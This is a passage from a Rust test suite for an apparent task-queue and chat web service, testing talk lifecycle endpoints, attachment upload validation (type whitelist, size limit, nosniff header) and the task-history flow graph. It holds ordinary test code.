15021 assert_eq!(finished.turns.len(), 2, "{finished:?}");
15022 assert!(finished.turns[0].body.is_empty());
15023 assert_eq!(finished.turns[0].attachments.len(), 1);
15024 assert!(finished.pending_attachments.is_empty());
15025 }
15026
15027 #[tokio::test]
15028 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
15029 let (_tmp, _repo, f) = talk_fixture().await;
15030 let id = f.post("/api/talks", None).await.json()["id"]
15031 .as_str()
15032 .expect("id")
15033 .to_owned();
15034 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15035 assert_eq!(closed.status, 200, "{}", closed.body);
15036 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
15037 .expect("serialize closed talk");
15038 for (path, body) in [
15039 (format!("/api/talks/{id}/pending/resume"), None),
15040 (
15041 format!("/api/talks/{id}/pending/clear"),
15042 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
15043 ),
15044 (
15045 format!("/api/talks/{id}/pending/edit"),
15046 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
15047 ),
15048 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
15049 ] {
15050 let response = f.post(&path, body).await;
15051 assert_eq!(response.status, 409, "{}", response.body);
15052 }
15053 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
15054 .expect("serialize closed talk");
15055 assert_eq!(
15056 after_clear, before_clear,
15057 "clear must not rewrite a closed talk"
15058 );
15059 }
15060
15061 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
15064
15065 #[tokio::test]
15066 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
15067 let tmp = TempDir::new().expect("tempdir");
15068 let repo = tmp.path().join("repo");
15069 std::fs::create_dir_all(&repo).expect("repo dir");
15070 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
15071 let f = Fixture::with_repo(repo).await;
15072 let id_a = f.post("/api/talks", None).await.json()["id"]
15073 .as_str()
15074 .unwrap()
15075 .to_owned();
15076 let id_b = f.post("/api/talks", None).await.json()["id"]
15077 .as_str()
15078 .unwrap()
15079 .to_owned();
15080
15081 let a = f
15082 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
15083 .await;
15084 assert_eq!(a.status, 202, "{}", a.body);
15085 assert_eq!(a.json()["thinking"], true);
15086 let b = f
15087 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
15088 .await;
15089 assert_eq!(b.status, 202, "{}", b.body);
15090 assert_eq!(b.json()["thinking"], true);
15091
15092 let listed = f.get("/api/talks").await.json();
15093 for id in [&id_a, &id_b] {
15094 let view = listed
15095 .as_array()
15096 .unwrap()
15097 .iter()
15098 .find(|talk| talk["id"] == *id)
15099 .unwrap();
15100 assert_eq!(view["thinking"], true, "{listed}");
15101 }
15102 let repeated = f
15103 .post(
15104 &format!("/api/talks/{id_a}/say"),
15105 Some(r#"{"text":"again"}"#),
15106 )
15107 .await;
15108 assert_eq!(repeated.status, 202, "{}", repeated.body);
15109 assert_eq!(repeated.json()["pending"], "again");
15110 }
15111
15112 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
15115
15116 #[tokio::test]
15117 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
15118 let f = Fixture::start().await;
15119 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
15120
15121 let res = f
15122 .post_bytes(
15123 &format!("/api/talks/{id}/attachments"),
15124 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
15125 PNG_BYTES,
15126 )
15127 .await;
15128 assert_eq!(res.status, 201, "{}", res.body);
15129 let body = res.json();
15130 assert_eq!(body["name"], "shot.png");
15131 assert_eq!(body["mime"], "image/png");
15132 assert_eq!(body["bytes"], PNG_BYTES.len());
15133 let att_id = body["id"].as_str().expect("id").to_owned();
15134 assert_eq!(
15135 att_id.len(),
15136 32,
15137 "the id must never be a client-suppliable path: {att_id}"
15138 );
15139
15140 let got = f
15141 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
15142 .await;
15143 assert_eq!(got.status, 200, "{}", got.body);
15144 assert_eq!(got.header("content-type"), Some("image/png"));
15145 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
15146 assert_eq!(got.bytes, PNG_BYTES);
15147 }
15148
15149 #[tokio::test]
15150 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
15151 let f = Fixture::start().await;
15152 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
15153
15154 let svg = f
15157 .post_bytes(
15158 &format!("/api/talks/{id}/attachments"),
15159 &[("Content-Type", "image/svg+xml")],
15160 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
15161 )
15162 .await;
15163 assert!(
15164 (400..500).contains(&svg.status),
15165 "svg must be refused: {} {}",
15166 svg.status,
15167 svg.body
15168 );
15169 assert!(svg.body.contains("SVG"), "{}", svg.body);
15170
15171 let text = f
15172 .post_bytes(
15173 &format!("/api/talks/{id}/attachments"),
15174 &[("Content-Type", "text/plain")],
15175 b"just some text",
15176 )
15177 .await;
15178 assert!(
15179 (400..500).contains(&text.status),
15180 "an unlisted type must be refused: {} {}",
15181 text.status,
15182 text.body
15183 );
15184
15185 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
15188 let big = f
15189 .post_bytes(
15190 &format!("/api/talks/{id}/attachments"),
15191 &[("Content-Type", "image/png")],
15192 &oversized,
15193 )
15194 .await;
15195 assert_eq!(
15196 big.status,
15197 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
15198 "{}",
15199 big.body
15200 );
15201 }
15202
15203 #[tokio::test]
15204 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
15205 let f = Fixture::start().await;
15206 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
15207
15208 let res = f
15211 .post_bytes(
15212 &format!("/api/talks/{id}/attachments"),
15213 &[("Content-Type", "image/png")],
15214 b"<html>not a picture</html>",
15215 )
15216 .await;
15217 assert!((400..500).contains(&res.status), "{}", res.body);
15218 }
15219
15220 #[tokio::test]
15221 async fn an_unknown_attachment_id_is_a_404() {
15222 let f = Fixture::start().await;
15223 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
15224
15225 let res = f
15226 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
15227 .await;
15228 assert_eq!(res.status, 404, "{}", res.body);
15229 }
15230
15231 #[tokio::test]
15232 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
15233 let f = Fixture::start().await;
15234 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
15235
15236 let uploaded = f
15237 .post_bytes(
15238 &format!("/api/talks/{id}/attachments"),
15239 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
15240 PNG_BYTES,
15241 )
15242 .await;
15243 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
15244 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
15245
15246 let res = f
15247 .post(
15248 &format!("/api/talks/{id}/say"),
15249 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
15250 )
15251 .await;
15252 assert_eq!(res.status, 202, "{}", res.body);
15253 let queued = res.json();
15254 let turns = queued["turns"].as_array().expect("turns array");
15255 assert_eq!(
15256 turns.len(),
15257 1,
15258 "an empty body with an attachment is still a turn: {queued}"
15259 );
15260 assert_eq!(turns[0]["who"], "operator");
15261 assert_eq!(turns[0]["body"], "");
15262 let atts = turns[0]["attachments"]
15263 .as_array()
15264 .expect("attachments array");
15265 assert_eq!(atts.len(), 1);
15266 assert_eq!(atts[0]["id"], att_id);
15267 assert_eq!(atts[0]["mime"], "image/png");
15268
15269 let on_disk = f.talks().get(&id).expect("get");
15272 assert_eq!(on_disk.turns[0].attachments.len(), 1);
15273 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
15274 }
15275
15276 #[tokio::test]
15277 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
15278 let f = Fixture::start().await;
15279 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
15280
15281 let res = f
15282 .post(
15283 &format!("/api/talks/{id}/say"),
15284 Some(&format!(
15285 r#"{{"text":"hi","attachments":["{}"]}}"#,
15286 "a".repeat(32)
15287 )),
15288 )
15289 .await;
15290 assert!((400..500).contains(&res.status), "{}", res.body);
15291 assert!(res.body.contains("unknown attachment"), "{}", res.body);
15292
15293 let on_disk = f.talks().get(&id).expect("get");
15294 assert!(
15295 on_disk.turns.is_empty(),
15296 "a rejected attachment id must not partially record the turn: {:?}",
15297 on_disk.turns
15298 );
15299 }
15300
15301 #[tokio::test]
15302 async fn talk_close_makes_the_talk_refuse_further_turns() {
15303 let f = Fixture::start().await;
15304 let id = seed_talk(&f, "20260904-014455-cd34", "open");
15305
15306 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15307 assert_eq!(closed.status, 200, "{}", closed.body);
15308 assert_eq!(closed.json()["status"], "closed");
15309
15310 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
15312 assert_eq!(closed_again.status, 200);
15313 assert_eq!(closed_again.json()["status"], "closed");
15314
15315 let said = f
15316 .post(
15317 &format!("/api/talks/{id}/say"),
15318 Some(r#"{"text":"too late"}"#),
15319 )
15320 .await;
15321 assert_eq!(said.status, 409, "{}", said.body);
15322 }
15323
15324 #[tokio::test]
15325 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
15326 let (_tmp, _repo, f) = talk_fixture().await;
15327 let id = f.post("/api/talks", None).await.json()["id"]
15328 .as_str()
15329 .expect("id")
15330 .to_owned();
15331 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15332 assert_eq!(closed.status, 200, "{}", closed.body);
15333
15334 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
15335 assert_eq!(reopened.status, 200, "{}", reopened.body);
15336 assert_eq!(reopened.json()["status"], "open");
15337
15338 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
15340 assert_eq!(reopened_again.status, 200);
15341 assert_eq!(reopened_again.json()["status"], "open");
15342
15343 let said = f
15344 .post(
15345 &format!("/api/talks/{id}/say"),
15346 Some(r#"{"text":"still there?"}"#),
15347 )
15348 .await;
15349 assert_eq!(
15350 said.status, 202,
15351 "a reopened talk accepts turns again: {}",
15352 said.body
15353 );
15354 }
15355
15356 #[tokio::test]
15357 async fn talk_reopen_on_an_unknown_id_is_404() {
15358 let f = Fixture::start().await;
15359 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
15360 assert_eq!(res.status, 404, "{}", res.body);
15361 }
15362
15363 #[tokio::test]
15364 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
15365 let f = Fixture::start().await;
15366 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
15367
15368 let deleted = f.delete(&format!("/api/talks/{id}")).await;
15369 assert_eq!(deleted.status, 204, "{}", deleted.body);
15370
15371 let after = f.get(&format!("/api/talks/{id}")).await;
15372 assert_eq!(after.status, 404, "{}", after.body);
15373
15374 let listed = f.get("/api/talks").await.json();
15375 assert!(
15376 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
15377 "a deleted talk must not linger in the list: {listed}"
15378 );
15379 }
15380
15381 #[tokio::test]
15382 async fn talk_delete_on_an_unknown_id_is_404() {
15383 let f = Fixture::start().await;
15384 let res = f.delete("/api/talks/nonexistent-id").await;
15385 assert_eq!(res.status, 404, "{}", res.body);
15386 }
15387
15388 #[tokio::test]
15392 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
15393 let f = Fixture::start().await;
15394 let (a, b, gone) = (
15395 "20260902-140501-aaaa",
15396 "20260902-140502-bbbb",
15397 "20260902-140503-cccc",
15398 );
15399 write_run(&f.runs(), a, RunStatus::Stalled);
15400 let mut review = RunState::new(
15401 PathBuf::from("/repo/magi"),
15402 "main".to_owned(),
15403 "0123456789abcdef".to_owned(),
15404 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
15405 .to_owned(),
15406 Config::default(),
15407 );
15408 review.id = b.to_owned();
15409 review.status = RunStatus::Merged;
15410 write_state(&f.runs(), &review);
15411
15412 let mut task = Task::new(
15413 "retry".to_owned(),
15414 "Do the thing".to_owned(),
15415 PathBuf::from("/repo/magi"),
15416 Source::Human,
15417 );
15418 task.start(a.to_owned());
15419 task.stall("quota");
15420 task.start(a.to_owned());
15421 task.start(b.to_owned());
15422 task.start(gone.to_owned());
15423 task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
15425 f.queue().put(&mut task).expect("file the task");
15426
15427 let res = f.get(&format!("/api/queue/{}", task.id)).await;
15428 assert_eq!(res.status, 200, "{}", res.body);
15429 let v = res.json();
15430 let h = v["history"].as_array().expect("history");
15431 assert_eq!(h.len(), 4, "{v}");
15432 assert_eq!(h[0]["kind"], "competition");
15433 assert_eq!(h[0]["status"], "stalled");
15434 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
15435 assert_eq!(h[1]["kind"], "resume", "{v}");
15436 assert!(
15437 h[0]["outcome"]
15438 .as_str()
15439 .unwrap()
15440 .contains("unknown. Pass #2"),
15441 "an earlier pass of a resumed run must not claim the final outcome: {v}"
15442 );
15443 assert!(
15444 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
15445 "{v}"
15446 );
15447 assert!(
15448 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
15449 "an unrecorded cause must not be narrated as an operator park: {v}"
15450 );
15451 assert_eq!(h[2]["kind"], "review");
15452 assert!(
15453 h[2]["description"]
15454 .as_str()
15455 .unwrap()
15456 .contains("magi/aaaa/A")
15457 );
15458 assert_eq!(h[2]["status"], "merged");
15459 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
15460 assert_eq!(v["runs_unreadable"], 1);
15461 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
15462 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
15463 assert_eq!(nodes[4]["note"], "unreadable");
15464 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
15465 assert_eq!(v["instruction"], "Do the thing");
15466 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
15467
15468 let run = f.get(&format!("/api/runs/{a}")).await.json();
15470 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
15471
15472 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
15473 }
15474
15475 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
15476 let mut s = RunState::new(
15477 PathBuf::from("/repo/magi"),
15478 "main".to_owned(),
15479 "0123456789abcdef".to_owned(),
15480 "Do it".to_owned(),
15481 Config::default(),
15482 );
15483 s.status = status;
15484 edit(&mut s);
15485 s
15486 }
15487
15488 fn flow_task(runs: &[&str]) -> Task {
15489 let mut t = Task::new(
15490 "t".to_owned(),
15491 "Do it".to_owned(),
15492 PathBuf::from("/repo/magi"),
15493 Source::Human,
15494 );
15495 for r in runs {
15496 t.start((*r).to_owned());
15497 }
15498 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
15500 t
15501 }
15502
15503 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
15504 let h = task_history(task, |id| {
15505 states
15506 .iter()
15507 .find(|(i, _)| *i == id)
15508 .and_then(|(_, s)| s.clone())
15509 });
15510 task_flow(task, &h, 5, None)
15511 }
15512
15513 #[test]
15514 fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
15515 let queued = "2026-10-10T00:00:00Z".parse().unwrap();
15516 let created = "2026-10-10T01:00:00Z".parse().unwrap();
15517 let first = "2026-10-10T02:00:00Z".parse().unwrap();
15518 let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
15519 let held = "2026-10-10T04:00:00Z".parse().unwrap();
15520 let run = flow_run(RunStatus::Implementing, |s| {
15521 s.created_at = created;
15522 s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
15523 s.passes[0].started_at = first;
15524 s.passes[1].started_at = resumed;
15525 });
15526 let mut task = flow_task(&[RUN_X, RUN_X]);
15527 task.created_at = queued;
15528 task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
15529 task.status = TaskStatus::Held;
15530 task.held_at = Some(held);
15531 let flow = flow_for(&task, &[(RUN_X, Some(run))]);
15532 assert_eq!(
15533 flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
15534 vec![Some(queued), Some(first), Some(resumed), Some(held)]
15535 );
15536 assert!(flow.nodes.iter().all(|n| n.time_expected));
15537 let json = serde_json::to_value(&flow).unwrap();
15538 assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
15539 assert_eq!(json["nodes"][2]["time_expected"], true);
15540 }
15541
15542 #[test]
15543 fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
15544 let created = "2026-10-10T01:00:00Z".parse().unwrap();
15545 let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
15546 let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
15547 task.held_at = Some(created);
15549 task.blocked_at = Some(created);
15550 for status in [
15551 TaskStatus::Queued,
15552 TaskStatus::Running,
15553 TaskStatus::Blocked,
15554 TaskStatus::Done,
15555 TaskStatus::Failed,
15556 TaskStatus::Parked,
15557 TaskStatus::Held,
15558 ] {
15559 task.status = status;
15560 if status == TaskStatus::Held {
15561 task.held_at = None;
15562 }
15563 let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
15564 assert_eq!(flow.nodes[1].started_at, Some(created));
15565 assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
15566 assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
15567 assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
15568 let json = serde_json::to_value(&flow).unwrap();
15569 assert!(json["nodes"][3]["started_at"].is_null());
15570 assert_eq!(json["nodes"][3]["time_expected"], true);
15571 }
15572 }
15573
15574 #[test]
15575 fn flow_context_links_do_not_expect_start_times() {
15576 let mut task = flow_task(&[]);
15577 task.source = Source::Agent {
15578 run: "chat-id".to_owned(),
15579 node: "chat".to_owned(),
15580 };
15581 let origin = followup_origin(&fu(None), |_| None, |_| None);
15582 let flow = task_flow(&task, &[], 5, Some(&origin));
15583 for node in &flow.nodes[..2] {
15584 assert!(!node.time_expected);
15585 assert_eq!(node.started_at, None);
15586 }
15587 assert!(flow.nodes[2].time_expected);
15588 }
15589
15590 fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
15591 crate::queue::FollowUp {
15592 run: "20260901-000000-aaaa".to_owned(),
15593 origin_task: origin_task.map(str::to_owned),
15594 pr: "https://example.com/o/r/pull/1".to_owned(),
15595 findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
15596 .map(str::to_owned)
15597 .to_vec(),
15598 generation: 1,
15599 }
15600 }
15601
15602 fn parent_task() -> Task {
15603 let mut p = flow_task(&[]);
15604 p.title = "Parent title".to_owned();
15605 p.status = TaskStatus::Done;
15606 p
15607 }
15608
15609 #[test]
15610 fn flow_opens_with_the_parent_task_of_a_followup() {
15611 let p = parent_task();
15612 let pid = p.id.clone();
15613 let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
15614 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
15615 let n = &f.nodes[0];
15616 assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
15617 assert_eq!(
15618 n.label,
15619 format!("Follow-up of {}", crate::queue::short(&pid))
15620 );
15621 assert_eq!(n.detail.as_deref(), Some("Parent title"));
15622 assert_eq!(n.status, Some("done"));
15623 assert_eq!(n.status_of, "task");
15624 assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
15625 assert_eq!(f.nodes[1].key, "start");
15626 assert_eq!(f.edges[0].from, "origin");
15627 assert_eq!(
15628 f.edges[0].label,
15629 "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
15630 );
15631 }
15632
15633 #[test]
15634 fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
15635 let o = followup_origin(
15636 &fu(Some("gone")),
15637 |_| None,
15638 |_| {
15639 Some(RunState::new(
15640 std::path::PathBuf::from("."),
15641 "main".to_owned(),
15642 "0".to_owned(),
15643 "t".to_owned(),
15644 crate::config::Config::default(),
15645 ))
15646 },
15647 );
15648 assert!(o.parent.is_none());
15649 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
15650 let n = &f.nodes[0];
15651 assert_eq!(n.status_of, "run");
15652 assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
15653 assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
15654 }
15655
15656 #[test]
15657 fn flow_followup_with_nothing_readable_has_no_link() {
15658 let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
15659 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
15660 let n = &f.nodes[0];
15661 assert_eq!(n.href, None);
15662 assert_eq!(n.note, Some("unreadable"));
15663 assert!(!n.readable);
15664 }
15665
15666 #[test]
15667 fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
15668 let o = followup_origin(&fu(None), |_| None, |_| None);
15669 let mut t = flow_task(&[]);
15670 t.origin_chat = Some("c1".to_owned());
15671 let f = task_flow(&t, &[], 5, Some(&o));
15672 assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
15673 t.source = Source::Agent {
15674 run: "c1".to_owned(),
15675 node: crate::queue::CHAT_NODE.to_owned(),
15676 };
15677 let f = task_flow(&t, &[], 5, Some(&o));
15678 assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
15679 assert_eq!(
15680 (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
15681 ("chat", "origin")
15682 );
15683 }
15684
15685 #[test]
15686 fn followup_origin_encodes_ids_and_survives_a_self_reference() {
15687 let mut p = parent_task();
15688 p.id = "a b/c".to_owned();
15689 let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
15690 assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
15691 }
15692
15693 #[test]
15694 fn flow_opens_with_the_chat_that_queued_the_task() {
15695 let mut t = flow_task(&[]);
15696 t.source = Source::Agent {
15697 run: "a b/c".to_owned(),
15698 node: crate::queue::CHAT_NODE.to_owned(),
15699 };
15700 let f = flow_for(&t, &[]);
15701 assert_eq!(f.nodes[0].key, "chat");
15702 assert_eq!(f.nodes[0].kind, "chat");
15703 assert_eq!(
15704 f.nodes[0].label,
15705 format!("Chat {}", crate::queue::short("a b/c"))
15706 );
15707 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
15708 assert_eq!(f.nodes[1].key, "start");
15709 assert_eq!(
15710 f.edges[0],
15711 FlowEdge {
15712 from: "chat".to_owned(),
15713 to: "start".to_owned(),
15714 label: "queued from chat".to_owned(),
15715 attempt: AttemptCost::None,
15716 }
15717 );
15718 }
15719
15720 #[test]
15721 fn flow_has_no_chat_box_for_other_sources() {
15722 for source in [
15723 Source::Human,
15724 Source::Issue {
15725 number: 3,
15726 repo: "o/r".to_owned(),
15727 },
15728 Source::Agent {
15729 run: "20260904-014455-ab12".to_owned(),
15730 node: "implement".to_owned(),
15731 },
15732 ] {
15733 let mut t = flow_task(&[]);
15734 t.source = source;
15735 let f = flow_for(&t, &[]);
15736 assert_eq!(f.nodes[0].key, "start");
15737 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
15738 assert!(f.edges.iter().all(|e| e.from != "chat"));
15739 }
15740 }
15741
15742 const FA: &str = "20260902-140501-aaaa";
15743 const FB: &str = "20260902-140502-bbbb";
15744
15745 #[test]
15746 fn flow_follows_blocked_retry_merged_to_done() {
15747 let mut t = flow_task(&[FA, FB]);
15748 t.status = TaskStatus::Done;
15749 let f = flow_for(
15750 &t,
15751 &[
15752 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
15753 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
15754 ],
15755 );
15756 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
15757 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
15758 assert_eq!(f.edges.len(), 3);
15759 assert_eq!(f.edges[0].label, "claimed");
15760 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
15761 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
15762 assert_eq!(f.edges[2].label, "merged \u{2192} done");
15763 assert_eq!(
15764 f.nodes[2].href.as_deref(),
15765 Some("#/runs/20260902-140502-bbbb")
15766 );
15767 assert!(f.nodes[2].decided);
15768 }
15769
15770 #[test]
15771 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
15772 let quota = || {
15773 flow_run(RunStatus::Stalled, |s| {
15774 s.quota.push(crate::run::QuotaLoss {
15775 seat: "judge-1".to_owned(),
15776 node: "judge".to_owned(),
15777 at: Timestamp::now(),
15778 reset: None,
15779 })
15780 })
15781 };
15782 let mut t = flow_task(&[FA, FA]);
15783 t.status = TaskStatus::Queued;
15784 let f = flow_for(&t, &[(FA, Some(quota()))]);
15785 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
15786 assert_eq!(f.nodes[1].note, Some("interrupted"));
15787 assert_eq!(
15788 f.nodes[1].status, None,
15789 "no outcome copied onto an earlier pass"
15790 );
15791 assert_eq!(
15792 f.edges[1].attempt,
15793 AttemptCost::Unknown,
15794 "a resume does not prove the earlier pass was refunded"
15795 );
15796 assert!(f.edges[1].label.contains("resume the same run"));
15797 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
15798 assert_eq!(
15799 f.edges[2].label,
15800 "stalled after a resume, refund unknown \u{2192} queued"
15801 );
15802 assert!(!f.nodes[2].decided, "a stall is not a decision");
15803 assert_eq!(f.nodes[2].note, Some("no verdict"));
15804 }
15805
15806 #[test]
15807 fn flow_single_pass_quota_stall_is_refunded() {
15808 let t = flow_task(&[FA]);
15809 let f = flow_for(
15810 &t,
15811 &[(
15812 FA,
15813 Some(flow_run(RunStatus::Stalled, |s| {
15814 s.quota.push(crate::run::QuotaLoss {
15815 seat: "judge-1".to_owned(),
15816 node: "judge".to_owned(),
15817 at: Timestamp::now(),
15818 reset: None,
15819 })
15820 })),
15821 )],
15822 );
15823 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
15824 }
15825
15826 #[test]
15827 fn flow_parked_refunds_and_stall_without_quota_spends() {
15828 let mut t = flow_task(&[FA]);
15829 t.status = TaskStatus::Queued;
15830 let f = flow_for(
15831 &t,
15832 &[(
15833 FA,
15834 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
15835 )],
15836 );
15837 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
15838 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
15839 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
15840 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
15841 assert!(!f.nodes[1].decided);
15842 }
15843
15844 #[test]
15845 fn flow_keeps_an_unreadable_run_as_its_own_node() {
15846 let t = flow_task(&[FA, FB]);
15847 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
15848 assert_eq!(f.nodes[1].note, Some("unreadable"));
15849 assert!(!f.nodes[1].readable);
15850 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
15851 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
15852 }
15853
15854 #[test]
15855 fn flow_names_the_branch_of_a_review_only_run() {
15856 let t = flow_task(&[FA]);
15857 let f = flow_for(
15858 &t,
15859 &[(
15860 FA,
15861 Some(flow_run(RunStatus::Merged, |s| {
15862 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
15863 })),
15864 )],
15865 );
15866 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
15867 assert_eq!(
15868 f.nodes[1].detail.as_deref(),
15869 Some("review-only run of branch magi/x/A")
15870 );
15871 }
15872
15873 #[test]
15874 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
15875 let mut t = flow_task(&[FA]);
15876 t.status = TaskStatus::Held;
15877 let pr = crate::run::PrRecord {
15878 url: "https://example.test/pr/1".to_owned(),
15879 number: 1,
15880 state: "open".to_owned(),
15881 checks: "green".to_owned(),
15882 round: 0,
15883 rounds: 3,
15884 red_at_merge: Vec::new(),
15885 };
15886 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
15887 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
15888 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
15889 t.status = TaskStatus::Done;
15890 let f = flow_for(&t, &[(FA, Some(blocked))]);
15891 assert_eq!(f.edges[1].label, "closed by hand: task is done");
15892 }
15893
15894 #[test]
15895 fn flow_with_no_runs_goes_from_queued_to_queued() {
15896 let t = flow_task(&[]);
15897 let f = flow_for(&t, &[]);
15898 assert_eq!(f.nodes.len(), 2);
15899 assert_eq!(f.edges.len(), 1);
15900 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
15901 assert_eq!(f.edges[0].attempt, AttemptCost::None);
15902 }
15903
15904 #[test]
15907 fn a_parked_non_terminal_run_is_explained_as_parked() {
15908 let mut s = RunState::new(
15909 PathBuf::from("/repo/magi"),
15910 "main".to_owned(),
